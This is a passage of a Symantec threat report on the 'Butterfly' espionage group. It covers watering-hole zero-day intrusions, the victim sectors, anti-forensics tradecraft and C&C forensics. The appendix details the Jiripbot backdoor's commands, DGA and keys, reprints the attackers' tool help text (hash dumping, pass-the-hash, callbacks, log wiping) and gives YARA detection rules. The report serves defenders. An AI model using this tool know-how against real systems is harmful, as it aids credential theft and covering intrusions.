also been recently similarly attacked,” said Twitter.
Fourteen days later, on February 15, Facebook issued a statement , disclosing that several of its systems
“had been targeted in a sophisticated attack.” Facebook said that the attackers used “a ‘zero-day’ (previously
unseen) exploit to bypass the Java sandbox,” which had been hosted on a “mobile developer website that was
compromised.”
Reuters referenced a similar statement from Apple a few days later on February 19. According to Apple,
attackers used a Java zero-day exploit to compromise a number of Apple employees’ Mac OS X computers. Apple
said that the exploit was delivered through a “site aimed at iPhone developers.”
Finally, Microsoft published a statement on February 22, stating that it too had “experienced a similar security
intrusion” as the ones reported by Facebook and Apple.
The attacks against these technology firms appeared to take place between 2012 and early 2013. The zero-day
exploit referred to in the various statements took advantage of the Oracle Java Runtime Environment Multiple
Remote Code Execution Vulnerabilities (CVE-2013-0422). The vulnerability had been patched by Oracle on
January 13, 2013, after the attacks occurred. Various parties published details of the attack vector, as well as
the malware used in the attacks, several days later.
F-Secure blogged that a Mac OS X back door (detected by Symantec as OSX.Pintsized ) was the attack’s payload.
According to the website StopMalvertising , the compromised website that hosted the exploit was an iPhone
developer website called iPhoneDevSDK.com.
Independent researcher Eric Romang published some technical details about the attacks and established a
timeline suggesting that the attackers have been active from September 2012. Symantec telemetry indicates
that the timeline goes back even further than this, with malicious activity starting from at least April 2012.
Romang analyzed many of the OSX.Pintsized samples and also identified a Windows back door , which he claimed
was related to the attacks. This Windows file is a variant of what Symantec detects as Backdoor.Jiripbot . Other
vendors called the variant Jripbot.
Since Romang’s analysis, there has been little-to-no public information related to the attackers behind the Java
zero-day exploit or the use of OSX.Pintsized and Backdoor.Jiripbot. Some victims
seem to have been
compromised as a
result of collateral
damage, as the
attackers appeared
uninterested in them
and either cleaned
up or abandoned the
infection.
VICTIMSPage 8
Butterfly: Corporate spies out for financial gain
Victims
After the events of late 2012 and early 2013, the Butterfly attackers appeared to have maintained a low profile,
compromising a small number of organizations. Each year however, that number has increased. Symantec has
discovered that the Butterfly attackers have compromised 49 unique organizations. Out of the 49 organizations,
27 of the companies’ industries could be identified, while the remaining are unknown.
Some victims
seem to have been
compromised as a
result of collateral
damage, as the
attackers appeared
uninterested in them
and either cleaned
up or abandoned the
infection. However,
other victims were
clearly of value to
Butterfly, as the
attackers spread
quickly in the networks
until they found
computers of interest.
The chart in Figure 1
shows the number of
infected organizations
per industry over
time. The graph is
filtered to only include
organizations that
could be classified into
a sector.
Symantec found that there was a lull in activity following the very public documentation of the late 2012 and
early 2013 attacks. Butterfly’s activity resumed in August 2013, and there has been a substantial increase in the
number of victims from late 2014 to the present.
The three regions that were
most heavily targeted by
Butterfly since 2012 are
shown in Figure 2.
The other regions affected
by Butterfly’s attacks are:
• Brazil
• China
• Hong Kong
• India
• Israel
• Japan
• Kazakhstan
• Malaysia
• Morocco
• Nigeria
• Taiwan
• Thailand
• South Korea
• United Arab Emirates
Figure 1. Number of infected organizations per industry by year
Figure 2. Three regions most heavily targeted by Butterfly attackersPage 9
Butterfly: Corporate spies out for financial gain
The industries of known victims have remained relatively consistent over time, with some notable exceptions.
Industries
The Java zero-day attack that exploited CVE-2013-0422 appears to have targeted technology companies, judging
from the nature of the watering-hole website. This claim is backed up by the organizations that publicly reported
how they were compromised in the attacks. Butterfly has continued to target a number of technology companies,
which are primarily based in the US.
Other Butterfly victims of note are involved in the pharmaceutical, legal, and commodities industries. The
Butterfly attackers continued to attack these industries intermittently over the following two years.
Pharmaceutical
In January 2014, a major European pharmaceutical company was compromised. The attackers appear to have
first breached a small European office and a month later, spread across the network to the company’s US office,
as well as the European headquarters.
Two more major European pharmaceutical companies were later compromised−one in September 2014 and
the other in June 2015. In both incidents, the attackers appear to have gained access to computers in several
regional offices. In the June 2015 compromise, the affected company quickly identified the infection from
Symantec’s alerts, as well as other notifications on Secure Shell (SSH) traffic on non-standard ports.
Technology
The Butterfly attackers have consistently targeted major technology companies from late 2012 to the present.
At least five companies, in addition to those who publicly documented the attacks in 2013, have been
compromised, to Symantec’s knowledge. The technology companies are primarily headquartered in the US.
Law
In the watering-hole attacks of early 2012, two US-based law firms were attacked. No other known legal entities
were attacked until June
2015, when the Central Asian
offices of a global law firm
were compromised. This most
recent victim specializes in a
number of topics, including
finance and natural resources
specific to the region.
Commodities
Two major natural
resources organizations
were compromised in late
2014. These organizations
specifically work with gold
and oil. The timing of these
compromises, along with the
later breach of the law firm
as previously mentioned, is
notable. It seems very likely
that the Butterfly attackers
have a specific interest in the
commodities industry and are
in a position to profit from
information stolen from the
breached organizations.
Figure 3. Timeline showing when attacks against different industry sectors beganPage 10
Butterfly: Corporate spies out for financial gain
Government, logistics, and education
A number of victims appear to have been of little interest to the attackers. This was the case for one Middle
Eastern government agency, a Japanese logistics company, and an American university. With all three victims,
either the attack was not successful or, if it was, the malware was not used after the initial compromise. It seems
likely that these victims were collateral damage.
Targeted computers
The attackers focused on obtaining access to specific systems of interest in all of the compromised
organizations. In most organizations, these systems were email servers: either Microsoft Exchange or Lotus
Domino servers. Once the attackers had this access, they presumably then eavesdropped on email conversations
and may have been in a position to potentially insert fraudulent emails as well.
Other systems that the attackers compromised were enterprise content management servers. These systems are
used for indexing and storing a company’s various documents and other digital assets. Such servers would not
contain source code, but rather legal documents, internal policies, training documents, product descriptions,
and financial records.
In one technology company breach, Butterfly compromised a more unusual system. The attackers gained access
to what is known as a Physical Security Information Management (PSIM) system. This software is used for
aggregating, managing, and monitoring physical security systems and devices. The physical security systems
could consist of CCTV, swipe card access, HVAC, and other building security. After compromised that system, the
attackers could have monitored employees through the company’s own CCTV systems and tracked the activities
of individuals within the building.
Tools, tactics, and procedures
Butterfly operates consistently across its breaches, deploying the same set of tools and targeting the same
types of computers, which we detail in the Victims section of this report. Butterfly adapts quickly to targeted
environments and takes advantage of systems already in place, such as remote access tools or management
systems, in order to spread across the network.
While Butterfly has used one confirmed zero-day exploit (CVE-2013-0422), the group appears to have used at
least one more zero-day exploit against a vulnerability in Internet Explorer 10.
Based on our analysis of a command-and-control (C&C) server used in an attack, the Butterfly operators
demonstrate exceptional operational security, as they use encrypted virtual machines and multi-staged C&C
servers to make it difficult to investigate their activities.
Gaining initial access
The attack vector for Butterfly’s campaigns in late 2012 and early 2013 was well documented. The group
conducted a watering-hole attack that compromised a popular mobile phone developer website, iPhoneDevSDK.
com, to deliver a Java zero-day exploit. However, little information is known about how the Butterfly attackers
have continued to gain access to victims’ systems, except for a few cases.
In one of the most serious cases, on June 25, 2014, Internet Explorer 10 created a file called bda9.tmp
on a victim’s computer. It is likely that bda9.tmp was created as a result of an exploit targeting Internet
Explorer. Bda9.tmp was then executed and went on to create a variant of Backdoor.Jiripbot with the file name
LiveUpdate.exe.
The affected version of Internet Explorer was a fully up-to-date, patched version of the browser, so the exploit
was very likely either a zero-day for Internet Explorer 10 or for a plugin used in Internet Explorer.
Microsoft patched a number of Internet Explorer 10 remote code execution vulnerabilities in subsequent Patch Page 11
Butterfly: Corporate spies out for financial gain
Tuesday releases. It is possible that one of these patches covered the exploit, as there is no additional evidence
of an Internet Explorer 10 exploit in use. It was not possible to identify the website hosting the exploit or to
retrieve a copy of the exploit.
In late 2014, Java was used to create a file called updt.dat on a system belonging to another targeted
organization. The updt.dat file was located in a JBossweb folder, which is a sub-folder of Apache Tomcat. Based
on this activity, it seems likely that the JBoss server was compromised to deploy the malware. The breach may
have been a result of an SQL injection attack. This is based on evidence from an analyzed C&C server, where we
discovered that the Butterfly attackers use the SQLMap tool against their targets.
Once Butterfly gains a foothold in the victim’s network, they begin to carefully spread through it, until they
locate a system of interest.
Spreading
In at least two incidents, the attackers appear to have taken advantage of internal systems to spread through
a network once they gained initial access. In one instance, the attackers used a Citrix profile management
application to create a back door on a newly infected system. This application can be used to install applications
or manage a user’s profile for authentication. It’s likely that the attackers took advantage of this system and
placed the back door in a specific profile, which was triggered when the profile’s owner logged in.
In the second incident, the TeamViewer application was used to create copies of Backdoor.Jiripbot on the
compromised computers. It appears that TeamViewer was legitimately present on the targeted computers and
was then taken advantage of by the attackers.
However the attackers spread within a network, they are able to move quickly. In one breach, the attackers first
compromised a computer on April 16, 2014. Within one day, they compromised three more computers. Once a
computer is infected, the attackers seem to rapidly determine whether or not the computer is valuable to them.
There are two instances where there was no additional Butterfly activity after the computers were infected, apart
from the creation of shred.exe. In these cases, the attackers likely determined that the infected computers were
not valuable targets and used shred.exe to securely remove the infections.
The Butterfly toolkit
The Butterfly attackers use a number of different tools, a subset of which has been retrieved from compromised
computers. This set of tools appears to be unique to the attackers, as the tools have been in use in combination
with each other and there has been no open source data on the various tools used.
The attackers use the hacking tools once they gain a foothold on a network. They generally give the tools .dat
extensions and file names that usually give some indication of the tools’ purposes. For example, the attackers
refer to one of the tools as “Banner Jack” and deploy it with the name bj.dat. It is likely that these files are
encrypted when they are downloaded and are then decrypted when on disk.
Known hashes and corresponding file names are listed in the appendix under the Hashes section. A number of
the hacking tools also contain help documentation, which details how to use the tool. Each help description is
listed in the appendix, where present.
OSX.Pintsized and Hacktool.Securetunnel
The back door OSX.Pintsized was well documented by F-Secure , Intego , and Romang after the 2012/2013 tech
company attacks. OSX.Pintsized is a modification of OpenSSH that runs on Mac OS X, and contains additional
code to read two new arguments and an embedded RSA key. The two additional arguments are “-z” and “-p”,
which are used to pass a C&C server address and port respectively. The back door has also been observed using
a very basic Perl script that opens a reverse shell.Page 12
Butterfly: Corporate spies out for financial gain
The Butterfly attackers use the same modified version of OpenSSH on 32-bit Windows systems. This version uses
the exact same “-z” and “-p” additional arguments and also includes an embedded RSA key. The attackers have
two versions: one which is statically linked against OpenSSH and the other which is compiled using a Cygwin
DLL. Symantec detects these samples as Hacktool.Securetunnel .
Backdoor.Jiripbot
Romang referenced a malware family called Backdoor.Jiripbot (aka Jripbot) in his blog. This is the Butterfly
group’s primary back door tool, which has a fallback domain generation algorithm (DGA) for maintaining
command and control. A comprehensive technical description of this malware family is provided in the appendix.
One notable point about Backdoor.Jiripbot is the use of the string “AYBABTU” as an encryption key. This is the
acronym for “ All your base are belong to us ”, a popular meme used by gamers.
The attackers have used several variants of this malware family from 2013 to at least June of 2015, with several
minor modifications adding or removing commands.
Hacktool.Bannerjack
Hacktool.Bannerjack is used to retrieve default messages issued by Telnet, HTTP, and generic Transmission
Control Protocol (TCP) servers. The help documentation for the tool is listed in the appendix. The tool takes
an IP address range and port. It then connects to each IP address on a given port, retrieving and logging any
data printed by the server. The tool is presumably used to locate any potentially vulnerable servers on the local
network, likely including printers, routers, HTTP servers, and any other generic TCP servers.
Hacktool.Multipurpose
Hacktool.Multipurpose also appears to be a custom-developed tool. It is designed to assist attackers in
spreading through a network. It hides activity by editing events logs, dumping passwords, securely deleting files,
encrypting files, and performing basic network enumeration.
The help documentation for this tool is quite comprehensive and extensively explains the tool’s functionality.
This documentation is listed in the appendix.
Hacktool.Eventlog
Hacktool.Eventlog is another multipurpose tool, but its primary functionality is to parse event logs, dumping out
ones of interest, and to delete entries. The tool will also end processes and perform a secure self-delete. The help
documentation for the tool is listed in the appendix.
Hacktool.Proxy.A
Hacktool.Proxy.A creates a proxy connection that allows attackers to route traffic through an intermediary node
onto their destination node. The documentation for the tool is listed in the appendix.
Operational security
The Butterfly attackers have demonstrated excellent operational security, as we have observed in several
aspects of their attacks.
The Butterfly attackers use a number of anti-forensics techniques to prevent detection and presumably hinder
investigation into their activity when discovered. The group’s malware and other files are securely deleted using
either the GNU Shred tool, which overwrites a file’s contents as well as deleting the index from the file allocation Page 13
Butterfly: Corporate spies out for financial gain
table, or the shred functionality written into a custom tool. Similarly, event logs are modified to remove any
evidence of the attackers’ activity. A specific tool, Hacktool.Eventlog, appears to have been developed to perform
just this function. Using both techniques, the attackers can securely remove infections from computers that are
of no interest, letting them avoid leaving any trace of activity.
Another aspect of Butterfly’s operational security is the use of throwaway registrant names for C&C domains.
There appears to be no re-use of email addresses or names when registering different domains and C&C servers.
Similarly, the Butterfly attackers use bitcoins to pay hosting providers to host their C&C servers. This method of
payment makes it difficult for investigators to track the transaction back to a particular entity.
Finally, one of the most telling aspects of the Butterfly attackers’ level of operational security is how they run
their C&C servers. Symantec performed a forensic analysis of a C&C server used by the Butterfly attackers in late
2014. These attackers typically use a multi-staged C&C infrastructure, with several servers acting as proxies and
redirecting connections back to a final server. Symantec believes that the analyzed server was this final server,
however, it was not possible to confirm this.
The analyzed server was running Debian Linux and was very clean, with little traces of activity. Logging had been
disabled and any log files that had been created before logging was disabled were securely deleted. A single file
was present in the /root/ directory. This file, called “hd-porn-corrupted_tofix.rar”, was 400GB in size. Despite
the .rar extension, it was not a .rar file. However, there were some indications on the server as to what this file
actually was.
Truecrypt was installed on the server, as was Virtual Box. Truecrypt is an encryption tool that can be used to
create an encrypted file system in a single file. Virtual Box is software that can be used to run a virtual machine.
It is likely that the 400GB “.rar” file was an encrypted Truecrypt file which contains a Virtual Box virtual machine.
The Butterfly attackers would decrypt and run the virtual machine, redirecting SSH traffic from the physical
hosting server to the virtual machine. This would give the attackers the ability to control compromised systems
from within the virtual machine. This type of design is effective at hindering analysis without a live memory
image of the C&C server.
There were other hints of activity on the C&C server as well. There was evidence to suggest that the attackers
used the SQLMap tool. This tool looks for SQL weaknesses in web applications, and indeed, as previously
mentioned, at least one victim was compromised through a JBoss server, possibly through an SQL injection
attack. Also, the local time zone of the C&C server was changed to New York, UTC-5.
However, apart from the SQLMap activity and the modified time zone, there was no other evidence on the C&C
server. The Butterfly attackers maintained a very clean house. Page 14
Butterfly: Corporate spies out for financial gain
Attribution
Based on the gathered evidence, there are several plausible theories that describe the nature of the Butterfly
attackers. A summary of some of the data gathered is presented below:
• Victims are primarily large corporations, mostly related to technology, pharmaceutical, commodities, and law.
• The targeted technology companies are mostly based in the US, however, other victims are spread across the
globe.
• There is one government victim
• Infection numbers are generally quite low; there are not many concurrent infections
• Activity remains consistent across infected organizations; the attackers use same file names and deploy the
same tools
• The group has excellent operational security
• The attackers have had access to at least one zero-day exploit, likely two and possibly more.
• The attackers appear to develop their own tools.
• The group’s various hacktools have extensive documentation written in good English.
• Several memes or colloquialisms specific to English speakers are used
• “All your bases are belong to us”–The AYBABTU encryption key in Backdoor.Jiripbot
• “Stuffz”–A phrase used in the Hacktool.Multipurpose description
• “Zap”–To mean delete, used in the Hacktool.Eventlog description
• The time zone of the C&C server is set to EST
The nature of the observed victims indicates that it’s likely that Butterfly attackers’ motivation is not for national
security intelligence, but rather for financial purposes. While there is one government victim, this likely appears
to be collateral damage.
As the hack tools include detailed documentation, it’s likely that there is more than one person performing
the attacks, as a single attacker would not need to document their own tools. Based on the few concurrent
infections, Butterfly may be made up of a small number of attackers, perhaps between three and ten people.
It is also easier to maintain good operational security with a small number of people.
The attackers are well resourced, given that they have access to at least one zero-day (the Java exploit), and
possibly more (potential Internet Explorer 10 zero-day exploit). Their access to zero-day exploits implies that
they either have the funding to purchase a zero-day or the technical skills to identify and exploit undiscovered
vulnerabilities.
If the Butterfly group is small, then it would make more sense to utilize people with a general skill set, rather
than individuals who specialize in exploit discovery. This implies that the purchase of zero-day exploits is more
likely. Along with this, if Butterfly is a professional group of hackers who work against deadlines and has internal
goals, that would imply the need to be able to access zero-day exploits on demand. That would mean purchasing
them, rather than waiting for a team member to discover one.
At least some of the Butterfly attackers appear to be native English speakers, based on the help documentation
in the hack tools and the use of memes and colloquialisms. It is possible that these English speakers are based in
the US, judging from the time zone set on the C&C server. However, this seems like a very basic mistake for the
attackers to make, considering how they have demonstrated great attention to detail in most aspects of
their operations.
Some attribution theories that may fit the evidence and conclusions are as follows:
• This is economic espionage by a government agency
• This is an organization made up of hackers-for-hire
• This is an organization with a single customer
A government agency is the least likely of these theories, given the number of victims that span across various
geopolitical boundaries and the lack of targeting of any victims that are related to traditional
intelligence-gathering. It is far more likely that the Butterfly attackers are an organization of individuals working
closely together to either steal intellectual property for another client or for their own financial gain, for example
through the stock market. CONCLUSION
Organizations
need to be aware
of the threat
that corporate
espionage groups
like Butterfly can
pose. Page 16
Butterfly: Corporate spies out for financial gain
Conclusion
Butterfly is a skilled, persistent, and effective attack group which has been active since at least March 2012.
They are well resourced, using at least one or possibly two zero-day exploits. Their motivation is very likely
to be financial gain and given that they have been active for at least three years, they must be successful at
monetizing their operation.
Based on our analysis, the Butterfly attackers are likely a small team that steals data either as a service to
another client or to monetize it themselves through insider trading. Symantec believes that some members of
Butterfly are native English speakers, given some of the colloquialisms and Western meme references included
in their infrastructure.
The Butterfly attackers represent a threat to organizations involved in technology, pharmaceutical, law,
investment, energy and natural resources. However, over the past three years, the attackers have demonstrated
that they can change their targets quickly, as they moved to include commodities in their list of targets in 2014.
Clearly, the Butterfly attackers will go where the money is.
Organizations need to be aware of the threat that corporate espionage groups like Butterfly can pose. The attack
group or their potential clients may have strong knowledge on how to leverage the stolen data to unfairly make
gains in the market.Page 17
Butterfly: Corporate spies out for financial gain
Protection
Symantec customers are protected against the Butterfly attacker toolset with the following signatures.
Additionally, YARA signatures and other indicators of compromise (IoCs) are listed in the appendix.
Antivirus
• Backdoor.Jiripbot
• Hacktool.Multipurpose
• Hacktool.Securetunnel
• Hacktool.Eventlog
• Hacktool.Bannerjack
• Hacktool.Proxy.A
IPS
• System Infected: Backdoor.Jiripbot DGA Activity
• System Infected: Backdoor.Jripbot ActivityAPPENDIXPage 19
Butterfly: Corporate spies out for financial gain
Appendix
Technical description of Backdoor.Jiripbot
There are several
different versions
of Backdoor.
Jiripbot, with the
attackers adding
or removing
functionality over
time. Details of
one version is
presented in this
document, with
the majority of functionality remaining unchanged across different versions.
Functionality
If the samples are executed with no command line argument and expected registry entries are missing,
an infinite loop is entered that calculates SHA-1 hashes on random data. This is likely an attempt to avoid
automation engines.
To perform any activity, the samples need to be executed with a command line argument that begins with ‘http’.
This value is encrypted and stored in the registry; the registry location varies based on the sample. Each sample
first encrypts the URL using RC4 with a hard-coded key. It should be noted that the hard-coded key is stored in
the binary as a wide character string, but is converted to a multibyte character string before the key is used.
This conversion will vary based on the region of the system executing the code.
The malware takes exactly one command line argument, but the single command line argument has a structure
that is manually parsed by the malware. The structure of the command line argument is as follows:
“http://[DOMAIN NAME].com /opts opt=val,opt=val...”
Where “opt” is one of the following:
• vm: Set to a number. “2” will disable vmware checks
• proxy_username: HTTP proxy user name to use
• proxy_password: HTTP proxy password to use
• proxy_host: HTTP proxy host to use
• proxy_port: HTTP proxy port to use
• resolv: Host name to resolve to
• delay: Number of delay loops to execute
• sleeptime: Number of seconds to sleep at certain points in the code
• cnx: Parameter that modifies how C&C server is interacted with
Once the URL from the command line is RC4-encrypted, it is encrypted a second time using the
crypt32!CryptProtectData API, with “OptionalEntropy” set to the ASCII string ‘AYBABTU’ (this is the acronym for
the phrase “All your base are belong to us”). The use of crypt32!CryptProtectData ensures that if the encrypted
data is retrieved from an infected computer, it is very hard to decrypt the data on another computer. The
documentation for crypt32!CryptProtectData states:
“Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data.”
Next the malware examines its execution environment. It first checks to make sure that the file name it is
currently running under is the same as the original name when the executable was created. It also looks for
certain process names of running processes. The process names it searches for are hashed, so we are not clear
what it is looking for.
It checks that the hashed value of the registry subkey HKEY_LOCAL_MACHINE\Microsoft\WindowsNT\
CurrentVersion\ProductId is not equal to a number of hashed values. It checks the hashed values of the registry Table 1. Files analyzed from one variant of Jiripbot
PE timestamp MD5 Size File name Purpose
12/13/2013 08:42 95ffe4ab4b158602917dd2a999a8caf8 302,592 FlashUtil.exe Back door
06/20/2014 07:06 531f2014a2a9ba4ddf3902418be23b52 302,592 LiveUpdater.exe Back door
06/20/2014 07:06 a0132c45e8afe84091b7b5bf75da9037 302,592 LiveUpdater.exe Back door
06/20/2014 07:06 1d5f0018921f29e8ee2e666137b1ffe7 302,592 LiveUpdater.exe Back door
08/20/2013 20:16 a90e836e0a6f5551242a823a6f30c035 361472 bda9.tmp Dropper Page 20
Butterfly: Corporate spies out for financial gain
keys in HKEY_LOCAL_MACHINE\SOFTWARE against a list of hashes. It also checks the registry subkeysHKEY_
LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Disk\Enum and HKEY_LOCAL_MACHINE\HARDWARE\
DESCRIPTION\System\BIOS\SystemProductName
‘resolv’ command
When the resolv command line argument is set to a domain name, a domain name system (DNS) resolution
request is made for that domain name with the current computer name and calculated UID value prepended to
it.
For example, we observed the following:
resolv=h30026.drfx.chickenkiller.com
When the sample is run with resolv set to that value, the following DNS query was observed:
thread-2d9f4de5.1401420000c29bfea70f49b94b825e3e7586ce61350.h30026.drfx.
chickenkiller.com
In this query, “thread-2d9f4de5” is the computer name and
“1401420000c29bfea70f49b94b825e3e7586ce61350” is the calculated UID value. It is possible that the
attackers use this method to exfiltrate the UID value, as the value is used in the DGA algorithm.
UID/UPDATE_ID calculation
The UID is a unique ID calculated by the malware, as the following example shows:
1401420000c29bfea70f49b94b825e3e7586ce61350
This ID consists of the following elements:
• 14014: Hard-coded string in the malware. May be a version number
• 2: The operating system version
• 0: 0 indicates x86, 1 indicates x86_64
• 000c29bfea70: This is the last six bytes of the UUID generated by a call to rpcrt4!UuidCreateSequential. This
corresponds to the media access control (MAC) address of the infected computer.
• f49b94b8: This is the first eight bytes of the volume serial number from a call to
kernel32!GetVolumeInfomationW
• 25e3e758: This is a dword hash of the string “[COMPUTER NAME]\[USER NAME]” using the current values
from the computer name and user name
• 6ce61350: This is a hard-coded dword in the binary
For the operating system (the number at offset 5 in previous UID example), the complete table is:
• 0: Unknown/Error/Windows 8.1/Windows Server 2012 R2
• 1: Windows 2000
• 2: Windows XP
• 3: Windows 2003, Windows XP Pro x64, Windows Home Server, Windows 2003 R2
• 4: Windows Vista
• 5: Windows Server 2008
• 6: Windows 7
• 7: Windows Server 2008 R2, Windows Server 2012
• 8: Windows 8
Installation
The following registry subkeys may be used by Butterfly to maintain persistence:
• HKEY_CURRENT_USER\Software\Adobe\Preferences
• HKEY_CURRENT_USER\Software\Adobe\Options
• HKEY_CURRENT_USER\Software\Adobe\UIDPage 21
Butterfly: Corporate spies out for financial gain
• HKEY_CURRENT_USER\Software\Acer\UPDATE_ID
• HKEY_CURRENT_USER\Software\Acer\Preferences
• HKEY_CURRENT_USER\Software\Acer\Options
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Acer LiveUpdater (likely named
Liveupdater.exe)
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Adobe Flash Plugin Updater
(FlashUtil.exe)
The registry data stored in the “Preferences” and “Options” subkeys are REG_BINARY keys and the data within is
encrypted using RC4 and crypt32!CryptProtectData, as described previously. The registry data stored in the UID
is not encrypted; it is stored in plain text.
The value of “Preferences” is the encrypted version of the first command line argument used to first start the
malware. For example, if the malware is launched as:
FlashUtil.exe “http://[DOMAIN NAME].com /opts vm=2”
The value of “Preferences” will be:
“http://[DOMAIN NAME].com /opts vm=2.”
The value of “Options” is the URL from the command line argument, so for the previous example, the value
would be:
“http://[DOMAIN NAME].com”
Networking
DGA Algorithm
The DGA computes a URL similar to the following:
• http://jdk.MD5([MM].[YYYY].[UID AS WIDE-CHARACTER STRING]).org
[MM] is the current month and [YYYY] is the current year. Note that the value of [UID AS WIDE-CHARACTER
STRING] is the value of the UID registry entry, but as a wide characters, so “07.2014.140...” would be “0\x007\
x00.\x002\x000\x001\x004\x00.\x001\x004\x000\x00...” for the purposes of the MD5 calculation.
For example, on July 22, 2014 on a system with the UID set to
“1401420000c29bfea70f49b94b825e3e7586ce61350”, the DGA URL would be:
• http://jdk.MD5(\’07.2014.1401420000c29bfea70f49b94b825e3e7586ce61350\’).org
Finally:
• http://jdk.20e8ad99287f7fc244651237cbe8292a.org
Note that some samples use HTTPS instead of HTTP.
C&C commands
The following commands implement back door functionality.
• cd: Changes current working directory
• exec: Executes a file using cmd.exe
• install: Sets the registry subkey for persistence. The registry subkey is only set if this command is sent
• quit: Ends the back door session
• sleeptime: Sets the sleep time between C&C queries
• shred: Overwrites file multiple times to perform a forensic-safe delete. Only found in samples with a PE
timestamp in 2014
• sysinfo: Gathers and reports system information
• uninstall: Uninstalls itselfPage 22
Butterfly: Corporate spies out for financial gain
• update: Updates itself
• url: Updates C&C URL in registry (although this feature appears to be disabled)
• wget: Downloads file to infected computer
Decryption keys
The following MD5s used the corresponding keys for decryption:
• 95ffe4ab4b158602917dd2a999a8caf8: 0xb4
• 531f2014a2a9ba4ddf3902418be23b52: 0xa9
• a0132c45e8afe84091b7b5bf75da9037: 0xa9
• 1d5f0018921f29e8ee2e666137b1ffe7: 0xa9
There is a string in all of the binaries equal to “la revedere”, which is “goodbye” in Romanian.
Hacktool help descriptions
Hacktool.BannerJack
The following information details the help output of Hacktool.BannerJack:
Usage: ./banner-jack [options]
-f: file.csv
-s: ip start
-e: ip end
-p: port
-t: thread numbers (optional, default 4)
-v: verbose (optional)
-d: daemonize (optional - not supported on win32)
-T: timeout connect (optional, default %d secs)
-R: timeout read (optional, default %d secs)
Hacktool.MultiPurpose
The following information is the help output of Hacktool.MultiPurpose:
Version: 1.5
General options
---------------
--install: install server on local host and load it
--host <host>: hostname or IP (local host if not set)
--password <password>: server password connection (mandatory)
--forceload: load server on local host without test
Server options
--------------
--cmd: server command:
dump: dump stuffz
--sam: fetch LM/NTLM hashes
--machines: fetch machines hashes
--history: fetch history for LM/NTLM hashes
--sh: fetch logon sessions hashes
--sp: fetch security packages cleartext passwords
--accounts: <account list>: with --sam, specify accounts to dump
(comma separated)
--lsa: fetch LSA secretsPage 23
Butterfly: Corporate spies out for financial gain
--vnc: fetch VNC server password
pth <PID:USER:DOMAIN:NTLM>: change credentials of PID
startlog: start recording of loggon sessions
stoplog: stop recording of loggon sessions
getlog: retrieve stored loggon sessions
callback <IP:port>: create a callback to IP:host
ping: ping server
shred <file>: shred a file
remove: cancel null session, clean logs, wipe library
quit: unload library
reboot: reboot windows
info: show info (version, library path, etc.)
listevt: list events logs
showevt <file>[:num]: show <num> last entries in <file> events log
(default num: 15)
last [num]: show last <num> login/logoff (default num: all)
cleanlast-user <user>: remove user from security logs
cleanlast-desc <word>: remove word from security logs (in description)
cleanlast-quit <1|0>: enable/disable cleaning ANONYMOUS LOGON entries
before quit
Output options
--------------
--file <filename>: output filename to dump information in
--compress: compress data (only used when file is set)
--encrypt <key>: encrypt data (only used when file is set)
Misc options
------------
--print <key>: print a compress and/or encrypted specified file
--test445: test if port 445 is available on specified host
--establishnullsession, --ens: establish a null session on specified host
--cancelnullsession, --cns: cancel an established null session with a
specified host
Hacktool.Proxy.A
The following information details the help output of Hacktool.Proxy.A:
-z ip/host : destination ip or host
-P port : destination port
-x ip/host : proxy ip or host
-Y port : proxy port
-C cmdline : commandline to exec
-u user : proxy username
-p pass : proxy password
-n : NTLM auth
-v : displays program version
-m : bypass mutex check
--pleh : displays helpPage 24
Butterfly: Corporate spies out for financial gain
Hacktool.Eventlog
The following information details the help output of Hacktool.Eventlog:
-z Zap (kill) all processes with specified name
-y Dump logon/logoff events from Security channel (-t and -n optionals)
-X Secure self delete our program
-x Secure delete a file
-w Show all logs from a .evtx file (requires -f)
-v Enable verbose mode
-t Delta time (in hours
-s Dump logon/logoff events from System channel (-t and -n optionals)
-r RecordIds list, comma separated without spaces (“1234,5678”)
-q Query Mode
-p Filter with provider
-n Number of events to show (default 16, 0=all)
-ll List all channels
-l List used channels
-K Match a keyword in XML data (case insensitive) from all channels
-k Match a keyword in XML data (case insensitive) from a specific channel
-h Help
-f Specify a .evtx file (system.evtx)
-F Flush all logs to disk
-e EventIds list, comma separated without spaces (“1234,5678”)
-Dr Dump all logs from a channel or .evtx file (raw parser) (-c or -f)
-D Dump all logs from a channel .evtx file (requires -c or -f)
-d Delete mode (requires -e or -r)
-c Specify a channel (‘Security’, ‘System’, ‘Application’, ...)
YARA signatures
The following details are the YARA signatures related to this analysis:
rule Bannerjack
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly BannerJack hacktool”
strings:
$str _1 = “Usage: ./banner-jack [options]”
$str _ 2 = “-f: file.csv”
$str _ 3 = “-s: ip start”
$str _4 = “-R: timeout read (optional, default %d secs)”
condition:
all of them
}
rule Eventlog
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly Eventlog hacktool”
strings:
$str _1 = “wevtsvc.dll”
$str _ 2 = “Stealing %S.evtx handle ...”
$str _ 3 = “ElfChnk”Page 25
Butterfly: Corporate spies out for financial gain
$str _4 = “-Dr Dump all logs from a channel or .evtx file (raw”
condition:
all of them
}
rule Hacktool
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly hacktool”
strings:
$str _1 = “\\\\.\\pipe\\winsession” wide
$str _ 2 = “WsiSvc” wide
$str _ 3 = “ConnectNamedPipe”
$str _ 4 = “CreateNamedPipeW”
$str _5 = “CreateProcessAsUserW”
condition:
all of them
}
rule Multipurpose
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly Multipurpose hacktool”
strings:
$str _ 1 = “dump %d|%d|%d|%d|%d|%d|%s|%d”
$str _ 2 = “kerberos%d.dll”
$str _ 3 = “\\\\.\\pipe\\lsassp”
$str _4 = “pth <PID:USER:DOMAIN:NTLM>: change”
condition:
all of them
}
rule Securetunnel
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly Securetunnel hacktool”
strings:
$str _1 = “KRB5CCNAME”
$str _ 2 = “SSH _ AUTH _ SOCK”
$str _ 3 = “f:l:u:cehR”
$str _4 = “.o+=*BOX@%&#/^SE”
condition:
all of them
}
rule ProxyPage 26
Butterfly: Corporate spies out for financial gain
{
meta:
author = “Symantec Security Response”
date = “2015-07-01”
description = “Butterfly proxy hacktool”
strings:
$str _1 = “-u user : proxy username”
